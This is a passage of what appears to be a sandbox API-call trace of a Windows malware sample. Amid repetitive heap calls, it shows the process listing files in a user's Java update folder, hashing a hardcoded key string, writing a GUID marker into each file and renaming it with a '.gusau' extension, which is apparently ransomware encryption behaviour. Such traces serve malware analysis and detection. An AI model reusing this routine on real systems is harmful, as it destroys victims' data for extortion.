hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.241] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0119.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.243] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0be0 | out: hHeap=0xd10000) returned 1 [0119.243] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="AU\\" [0119.243] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0119.243] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0119.243] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.243] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.243] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.243] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.243] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.243] PathFindFileNameW (pszPath="") returned="" [0119.243] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.244] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.244] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8e062, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.cab", cAlternateFileName="")) returned 1 [0119.244] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned=".cab" [0119.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.245] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=581730) returned 1 [0119.245] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.247] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8e03c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.248] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.249] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x25805, lpOverlapped=0x0) returned 1 [0119.253] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.253] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.253] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.253] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0119.254] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.254] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.254] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.254] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.254] GetLastError () returned 0x0 [0119.254] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.254] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0119.255] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8e062, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.255] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.255] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.255] CloseHandle (hObject=0x610) returned 1 [0119.263] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.gusau")) returned 1 [0119.265] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 1 [0119.265] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned=".msi" [0119.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.265] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=185344) returned 1 [0119.265] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.267] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x2d3da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.267] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.269] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.269] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x25805, lpOverlapped=0x0) returned 1 [0119.270] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.270] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.270] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.270] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0119.271] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.271] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.271] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.271] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.271] GetLastError () returned 0x0 [0119.271] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.271] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0119.272] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x2d400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.272] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.272] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.272] CloseHandle (hObject=0x610) returned 1 [0119.275] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.gusau")) returned 1 [0119.276] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 0 [0119.276] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.276] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.276] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7f38 [0119.276] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.276] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: 